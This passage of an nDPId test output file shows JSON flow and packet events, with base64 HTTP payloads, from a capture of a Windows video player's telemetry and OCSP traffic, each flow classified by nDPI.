6.0)\/QY-Player-Windows\/2.0.102"}} +01327{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":50485,"pkt_caplen":744,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":744,"pkt_l4_len":710,"pkt":"ABxCjnAxTF4M6gNlCABFAALaH2hAAC0GDFd7fXAxwKhzCABQxSD7GtiHFHbNKVAYADhuxwAASFRUUC8xLjEgMzAyIEZvdW5kDQpMb2NhdGlvbjogaHR0cHM6Ly95b3V0dS5iZS85b3ZjSndDN0FFYw0KU2V0LUNvb2tpZTogSF9NS1RfQ0xLSUQ9MDAwMDAwMDE1OWRhMTZiODU3NzYwODMyNWEwOGEzNzYwMDAwMDAyMDM1MzM2NTMyMzU2NTMzMzM2NTMwMzYzNDYzMzYzNTM3NjMzMDM2NjIzNTM1Mzg2NTM1NjMzMzYzMzMzMzY2NjQwMDAwMDAwODc5NmY3NTc0NzUyZTYyNjU7IFBhdGg9LzsgRG9tYWluPWhtLmJhaWR1LmNvbTsgRXhwaXJlcz1GcmksIDAxIEp1bCAyMDE2IDA2OjM1OjM4IEdNVA0KU2V0LUNvb2tpZTogSF9NS1RfQ0xLTE9HPTAwMDAwMDAxNTlkYTE2Yjg1Nzc2MDgzMjVhMDhhMzc2MDAwMDAwMjAzNTMzNjUzMjM1NjUzMzMzNjUzMDM2MzQ2MzM2MzUzNzYzMzAzNjYyMzUzNTM4NjUzNTYzMzM2MzMzMzM2NjY0MDAwMDAwMDg3OTZmNzU3NDc1MmU2MjY1OyBQYXRoPS87IERvbWFpbj1obS5iYWlkdS5jb207IEV4cGlyZXM9RnJpLCAwMSBKdWwgMjAxNiAwNjozNTozOCBHTVQNClAzUDogQ1A9IkNVUmEgQURNYSBERVZhIFBTQW8gUFNEbyBPVVIgQlVTIFVOSSBQVVIgSU5UIERFTSBTVEEgUFJFIENPTSBOQVYgT1RDIE5PSSBEU1AgQ09SIg0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtTGVuZ3RoOiAwDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM4IEdNVA0KU2VydmVyOiBhcGFjaGUNCg0K"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":999,"source":"pps.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1467353139305,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"203.66.182.24","src_port":50466,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00712{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":305921,"pkt_caplen":280,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":280,"pkt_l4_len":246,"pkt":"TF4M6gNlABxCjnAxCABFAAEKA4dAAIAGQVvAqHMIy0K2GMUiAFDWCs3i1IWCxVAYAQQdEwAAR0VUIC9vY3NwL01Fa3dSekJGTUVNd1FUQUpCZ1VyRGdNQ0dnVUFCQlR5NEdyNWhZb2RqWENiU1JramVxbTFHaWglMkJaQVFVU3QwR0ZodTg5bWkxZHZXQnRydGlHcnBhZ1M4Q0NFWXJGWGtxMnVneiBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1pY3Jvc29mdC1DcnlwdG9BUEkvNi4xDQpIb3N0OiBjbGllbnRzMS5nb29nbGUuY29tDQoNCg=="} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":999,"source":"pps.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1467353139305,"flow_last_seen":0,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":246,"flow_max_l4_data_len":246,"flow_avg_l4_data_len":246,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"203.66.182.24","src_port":50466,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Google","breed":"Unrated","category":"Web"},"http": {"hostname":"clients1.google.com","url":"clients1.google.com\/ocsp\/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih%2BZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEYrFXkq2ugz","code":0,"content_type":"","user_agent":"Microsoft-CryptoAPI\/6.1"}} +01423{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":309485,"pkt_caplen":813,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":813,"pkt_l4_len":779,"pkt":"ABxCjnAxTF4M6gNlCABFAAMfaWMAAD0GXGrLQrYYwKhzCABQxSLUhYLF1grOxFAYAO2vKAAASFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jc3AtcmVzcG9uc2UNCkRhdGU6IFR1ZSwgMjggSnVuIDIwMTYgMTc6MzQ6NDkgR01UDQpFeHBpcmVzOiBTYXQsIDAyIEp1bCAyMDE2IDE3OjM0OjQ5IEdNVA0KU2VydmVyOiBvY3NwX3Jlc3BvbmRlcg0KQ29udGVudC1MZW5ndGg6IDQ2Mw0KWC1YU1MtUHJvdGVjdGlvbjogMTsgbW9kZT1ibG9jaw0KWC1GcmFtZS1PcHRpb25zOiBTQU1FT1JJR0lODQpBZ2U6IDIxNzg0OQ0KQ2FjaGUtQ29udHJvbDogcHVibGljLCBtYXgtYWdlPTM0NTYwMA0KDQowggHLCgEAoIIBxDCCAcAGCSsGAQUFBzABAQSCAbEwggGtMIGWohYEFErdBhYbvPZotXb1gba7Yhq6WoEvGA8yMDE2MDYyODA3MDAxN1owazBpMEEwCQYFKw4DAhoFAAQU8uBq+YWKHY1wm0kZI3qptRoofmQEFErdBhYbvPZotXb1gba7Yhq6WoEvAghGKxV5KtroM4AAGA8yMDE2MDYyODA3MDAxN1qgERgPMjAxNjA3MDUwNzAwMTdaMA0GCSqGSIb3DQEBCwUAA4IBAQBKs877cfA5B2KGhwFSvIyUBYVxkUFjApJpIKog7zezUT4uRPAvbjktL\/Ds15nk8Y2Znhsf4SdVmf8GlloCQ6IXimfBklwRGn8\/72t77ZQLcabmXBFNBqyfqmRrW1O7lFh1alLxLnbN6PNKIPNv7dkTJVq4NRpJC1H3sykeA3XbH5EEaxhdvWFd1bsvybTiEgn7Bn5bpdXlExvoxRYuc7MLXQAUHRWSGKZpv+UniRokZRHgZy2GbGkQE8sf0PVCXrNjm4qsIXnQvqrF2J2xxFQ5x1wzU7J9l9Av+bPvuQI2mdLqvQskYq3tOxhJ6prFG9fcqt4lJS5E11mkG9tPXiAq"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1001,"source":"pps.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1467353139505,"flow_last_seen":0,"flow_tot_l4_data_len":595,"flow_min_l4_data_len":595,"flow_max_l4_data_len":595,"flow_avg_l4_data_len":595,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50467,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01177{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":505242,"pkt_caplen":629,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":629,"pkt_l4_len":595,"pkt":"TF4M6gNlABxCjnAxCABFAAJnA5RAAIAG6ATAqHMIymwO28UjAFBUZatTb7o85VAYAQQGIwAAR0VUIC9jb3JlP3Q9MTEmY3Q9YWRzdGFydCZzdGFydHRtPTEwOTcmcmVzZXQ9MSZyYT0yJnBmPTIwMSZwPTExJnAxPTExNCZwMj0zMDAwJnNka3RwPTEmYzE9NiZyPTUwMDQ5NDYwMCZhaWQ9NTAyOTU5OTAwJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9Jm9zPXdpbmRvd3Mmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxMTkmaXNsb2NhbD0wJmFzPWQxOWY2NDA0N2I2NDFjZDZmZjA5NmIwNGZiMmEzMGI1JnZlPTNjYzBjOGZhMzcyNjI1ZTY0MTQzMTQ0ODE2ZjNlOTY4JnBlPWM5NWQ5OTJlMjk4NTZkYzg0ZjJlOTkwN2EyZTRiMjgyJnZmcm09JmNobD0maGNkbnY9MTAuMC4wLjI5MyZ0cGNkPTAmaXNkcm09MSZodD0wIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBRWS1QbGF5ZXItV2luZG93cy8yLjAuMTAyDQpIb3N0OiBtc2cuNzEuYW0NCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCnF5aWQ6YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4NCnF5cGlkOl8yMDEyDQpxeXBsYXRmb3JtOjAtMg0KDQo="} +01021{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1001,"source":"pps.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1467353139505,"flow_last_seen":0,"flow_tot_l4_data_len":595,"flow_min_l4_data_len":595,"flow_max_l4_data_len":595,"flow_avg_l4_data_len":595,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50467,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=11&ct=adstart&starttm=1097&reset=1&ra=2&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=6&r=500494600&aid=502959900&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=windows&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353119&islocal=0&as=d19f64047b641cd6ff096b04fb2a30b5&ve=3cc0c8fa372625e64143144816f3e968&pe=c95d992e29856dc84f2e9907a2e4b282&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00605{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":595550,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5uuZAADMGf2DKbA7bwKhzCABQxSNvujzlVGWtklAYADcmHAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1003,"source":"pps.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1467353139627,"flow_last_seen":0,"flow_tot_l4_data_len":539,"flow_min_l4_data_len":539,"flow_max_l4_data_len":539,"flow_avg_l4_data_len":539,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50469,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":627198,"pkt_caplen":573,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":573,"pkt_l4_len":539,"pkt":"TF4M6gNlABxCjnAxCABFAAIvA51AAIAG6DPAqHMIymwO28UlAFD7uSUWcC90rlAYAQQTNwAAR0VUIC9jb3JlP3Q9NSZhPTImcmE9MSZwZj0yMDEmcD0xMSZwMT0xMTQmcDI9MzAwMCZzZGt0cD0xJmMxPTMxJnI9NDc5NTMxMDAwJmFpZD0xODA5MzIzMDEmdT1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZwdT0mb3M9V2luZG93cyUyMDcmdj01JTJFMiUyRTE1JTJFMjI0MCZrcnY9MiUyRTAlMkUxMDImZHQ9Jmh1PS0xJnJuPTE0NjczNTMxMzkmaXNsb2NhbD0wJmFzPTAzMTFjNWEwZDU1OTYwNjNkYjU5NDRiZDc2YjZjYmZmJnZlPWIxZjkwZjhkYTZmZTAyNThkMTM2MTZhODA3MGNiOTk3JnBlPSZ2ZnJtPSZjaGw9JmhjZG52PTEwLjAuMC4yOTMmdHBjZD0wJmlzZHJtPTEmaHQ9MCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpxeWlkOmFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDpfMjAxMg0KcXlwbGF0Zm9ybTowLTINCg0K"} +00965{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1003,"source":"pps.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1467353139627,"flow_last_seen":0,"flow_tot_l4_data_len":539,"flow_min_l4_data_len":539,"flow_max_l4_data_len":539,"flow_avg_l4_data_len":539,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.219","src_port":50469,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/core?t=5&a=2&ra=1&pf=201&p=11&p1=114&p2=3000&sdktp=1&c1=31&r=479531000&aid=180932301&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&pu=&os=Windows%207&v=5%2E2%2E15%2E2240&krv=2%2E0%2E102&dt=&hu=-1&rn=1467353139&islocal=0&as=0311c5a0d5596063db5944bd76b6cbff&ve=b1f90f8da6fe0258d13616a8070cb997&pe=&vfrm=&chl=&hcdnv=10.0.0.293&tpcd=0&isdrm=1&ht=0","code":0,"content_type":"","user_agent":"QY-Player-Windows\/2.0.102"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1004,"source":"pps.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1467353139662,"flow_last_seen":0,"flow_tot_l4_data_len":390,"flow_min_l4_data_len":390,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":390,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50470,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00905{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":662190,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"TF4M6gNlABxCjnAxCABFAAGaA59AAIAG6LXAqHMIymwO7MUmAFBtzkRVA7NFyFAYAQQzoQAAR0VUIC9iP3Q9NSZwZj0yMDEmcD0xMSZwMT0xMTQmYT0zNCZjdD1vbmNsaWNrJnR5cGU9cGMmYXM9JmNsdD1wY19wbGF5X3BsYXllcl9jbGljayZtdj01LjIuMTUuMjI0MCZwdT0mcm49MEZFMTcyRUM0NEM0NEI4NkFFRURFNTRBQTAwNTQxQzQ1NzQwNiZ1PWFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuJnY9Mi4wLjEwMi4zMDE0NyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUWl5aSBMaXN0IENsaWVudCBQQyA1LjIuMTUuMjI0MA0KSG9zdDogbXNnLmlxaXlpLmNvbQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkFjY2VwdDogKi8qDQoNCg=="} +00834{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1004,"source":"pps.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1467353139662,"flow_last_seen":0,"flow_tot_l4_data_len":390,"flow_min_l4_data_len":390,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":390,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50470,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.iqiyi.com","url":"msg.iqiyi.com\/b?t=5&pf=201&p=11&p1=114&a=34&ct=onclick&type=pc&as=&clt=pc_play_player_click&mv=5.2.15.2240&pu=&rn=0FE172EC44C44B86AEEDE54AA00541C457406&u=aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=2.0.102.30147","code":0,"content_type":"","user_agent":"Qiyi List Client PC 5.2.15.2240"}} +00598{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":771496,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"ABxCjnAxTF4M6gNlCABFAAC0y0pAADMGbvDKbA7swKhzCABQxSYDs0XIbc5Fx1AYAB\/3XQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo="} +00606{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":779501,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC58h9AADMGSCfKbA7bwKhzCABQxSVwL3Su+7knHVAYADbM\/QAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuNC43DQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM5IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1007,"source":"pps.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1467353139819,"flow_last_seen":0,"flow_tot_l4_data_len":918,"flow_min_l4_data_len":918,"flow_max_l4_data_len":918,"flow_avg_l4_data_len":918,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50471,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01609{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":819305,"pkt_caplen":952,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":952,"pkt_l4_len":918,"pkt":"TF4M6gNlABxCjnAxCABFAAOqA7FAAIAG5pPAqHMIymwO7MUnAFCB65R9kZemalAYQTdERQAAR0VUIC9jcDIuZ2lmP2E9NGUzYWU0MTVhNTg0NzQ4YWM5YWEzMTYyOGYzOWQxZTgmYWk9MXx8NzEwMDAwMDF8fDUwMDAwMDA4NTg4NzR8fDUwMDAwMDA5Mjc1NTh8fHJvbGwmYXM9JmF2PTQuMTAuMDA0JmI9MTgwOTMyMzAxJmM9MzEmY3Q9JmQ9MjE3NSZkaT0mZHA9JmU9YzQ4ODllNjRhZDlkOWVlYjlmZjQzODkxMDg1MGM0NDImZWM9JmVtPSZmaT0mZz0wJmw9TVRFNExqRTJNeTQ0TGprdyZtaz0mbnc9Jm9kPSZvaT0mcD10JnBwPSZyYz0tMSZyZD05MiZyaT0mcz0xNDY3MzUzMTM4MDQzJnNoPSZzcT0mc3c9JnQ9cyZ1PTBfYWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mdj00Nzk1MzEwMDAmdnY9NS4yLjE1LjIyNDAmeD0meT1xY18xMDAwMDFfMTAwMTQwIEhUVFAvMS4xDQpBY2NlcHQtTGFuZ3VhZ2U6IHpoLUNODQpSZWZlcmVyOiBodHRwOi8vd3d3LmlxaXlpLmNvbS9jb21tb24vZmxhc2hwbGF5ZXIvMjAxNDA5MjQvTWFpblBsYXllcl81XzJfM19jM18yXzFfNi5zd2YNCnF5aWQ6IGFhb2VmZHRxZ2ZkZXB4YzJ0bnYzcGl1Y2djYjRlb2ZuDQpxeXBpZDogXzIwMTINCnF5cGxhdGZvcm06IDAtMg0KeC1mbGFzaC12ZXJzaW9uOiAxMiwwLDAsNzANCkFjY2VwdDogKi8qDQpQcmFnbWE6IG5vLWNhY2hlDQpDYWNoZS1Db250cm9sOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgOC4wOyBXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkvUVktUGxheWVyLVdpbmRvd3MvMi4wLjEwMg0KSG9zdDogbXNnLjcxLmFtDQoNCg=="} +01168{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1007,"source":"pps.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1467353139819,"flow_last_seen":0,"flow_tot_l4_data_len":918,"flow_min_l4_data_len":918,"flow_max_l4_data_len":918,"flow_avg_l4_data_len":918,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50471,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"msg.71.am","url":"msg.71.am\/cp2.gif?a=4e3ae415a584748ac9aa31628f39d1e8&ai=1||71000001||5000000858874||5000000927558||roll&as=&av=4.10.004&b=180932301&c=31&ct=&d=2175&di=&dp=&e=c4889e64ad9d9eeb9ff438910850c442&ec=&em=&fi=&g=0&l=MTE4LjE2My44Ljkw&mk=&nw=&od=&oi=&p=t&pp=&rc=-1&rd=92&ri=&s=1467353138043&sh=&sq=&sw=&t=s&u=0_aaoefdtqgfdepxc2tnv3piucgcb4eofn&v=479531000&vv=5.2.15.2240&x=&y=qc_100001_100140","code":0,"content_type":"","user_agent":"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\/QY-Player-Windows\/2.0.102"}} +00606{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353139,"pkt_ts_usec":866496,"pkt_caplen":199,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":199,"pkt_l4_len":165,"pkt":"ABxCjnAxTF4M6gNlCABFAAC5KWZAADMGENDKbA7swKhzCABQxSeRl6ZqgeuX\/1AYACHEyQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54LzEuOC4wDQpEYXRlOiBGcmksIDAxIEp1bCAyMDE2IDA2OjA1OjM5IEdNVA0KQ29udGVudC1UeXBlOiBpbWFnZS9naWYNCkNvbnRlbnQtTGVuZ3RoOiAwDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCg=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1009,"source":"pps.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1467353140628,"flow_last_seen":0,"flow_tot_l4_data_len":1066,"flow_min_l4_data_len":1066,"flow_max_l4_data_len":1066,"flow_avg_l4_data_len":1066,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.221","src_port":50474,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01808{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353140,"pkt_ts_usec":628897,"pkt_caplen":1100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1100,"pkt_l4_len":1066,"pkt":"TF4M6gNlABxCjnAxCABFAAQ+A+YAAIAGJdrAqHMIymwO3cUqAFDSWIZQbAIVvVAYKACmwAAAR0VUIC9iP2MxPTYmczE9MSZtYWNpZD1hYW9lZmR0cWdmZGVweGMydG52M3BpdWNnY2I0ZW9mbiZjaGFubmVsaWQ9MDAwJm51PSZlPTEzNTI1Mjgmc2U9MTI1MzgxMSZyPTUwMDQ5NDYwMCZhZHVpZD1kMDdkZmQzMGYwZWU0ZTQ4YmJjYWYxMjA4Yzc1ODQ3MSZjdG09MTM3NTIxMSZwbGF5c291cmNlPTAwMTAwNDAwMCZ2aWQ9NTYyZTI2Y2FlZDU2OTU5MDAyMTJlYjMyNTkwNzBmOGEmYWxidW1pZD01MDA0OTQ2MDAmcmE9MiZ0ZD0yMjY1MiZzdWNjZXNzaW9uPTQmdHlwZT0xJnZmcm09My0wMDEwMDQwMDAtY19jb3JnaS0wJmJ1Y2tldD1jX2NvcmdpX21haW4mcmF0cD0xJnBsYXltb2RlPTEmaHU9LTEmaHQ9MCZhcD0wJnQ9MjAxJmN0PWNsdF9fcGxfcGxheSZ2ZT0xMzUyNTI4JnBmPTIwMSZwPTExJnAxPTExNCZwMj0xMDExJnU9YWFvZWZkdHFnZmRlcHhjMnRudjNwaXVjZ2NiNGVvZm4mcHU9JnY9Mi4wLjEwMi4zMDE0NyZkZT1hMGVlNzdhNTYzODg5N2JlYmZkODU1NWIzMjcwYmVmNiZtdj01LjIuMTUuMjI0MCZrdj0xMC4wLjAuMjkzJnNvdXJjZTE9bWluaXBsYXllciZzb3VyY2UyPW1pbmlwbGF5ZXImc291cmNlMz0lZTUlYjAlOGYlZTYlOTIlYWQlZTYlOTQlYmUlZTUlOTklYTgmc291cmNlND0lZTUlYjAlOGYlZTYlOTIlYWQlZTYlOTQlYmUmcGxheV9zb3VyY2U9MSZvcHQ9MCZjbHQ9aG9tZWRsJnNjZW5lPTEmcm49MDAwMDAwMDE0NjczNTMxNDAgSFRUUC8xLjENCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNC4wOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGV